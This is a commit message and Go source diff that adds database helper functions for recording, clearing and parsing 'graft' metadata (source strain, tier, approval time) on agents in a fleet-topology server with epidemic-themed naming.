Add fleet topology epidemiology: strain plague map and mining interrupt fixes.

Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.

server/internal/db/graft.go

@@ -0,0 +1,46 @@
+package db
+
+import (
+	"database/sql"
+	"time"
+)
+
+// UpdateAgentGraft records an approved genealogy graft on the target agent.
+func (d *Database) UpdateAgentGraft(id, sourceStrain, graftTier string, approvedAt time.Time) error {
+	if approvedAt.IsZero() {
+		approvedAt = time.Now().UTC()
+	}
+	_, err := d.Exec(
+		`UPDATE agents SET graft_source_strain = ?, graft_tier = ?, graft_approved_at = ? WHERE id = ?`,
+		sourceStrain, graftTier, approvedAt.UTC().Format(time.RFC3339), id,
+	)
+	return err
+}
+
+// ClearAgentGraft removes pending graft metadata after the agent consumes it on spread.
+func (d *Database) ClearAgentGraft(id string) error {
+	_, err := d.Exec(
+		`UPDATE agents SET graft_source_strain = '', graft_tier = '', graft_approved_at = NULL WHERE id = ?`,
+		id,
+	)
+	return err
+}
+
+func scanGraftFields(sourceStrain, graftTier, approvedRaw sql.NullString) (string, string, *time.Time) {
+	strain := ""
+	if sourceStrain.Valid {
+		strain = sourceStrain.String
+	}
+	tier := ""
+	if graftTier.Valid {
+		tier = graftTier.String
+	}
+	var approved *time.Time
+	if approvedRaw.Valid && approvedRaw.String != "" {
+		if t, err := time.Parse(time.RFC3339, approvedRaw.String); err == nil {
+			utc := t.UTC()
+			approved = &utc
+		}
+	}
+	return strain, tier, approved
+}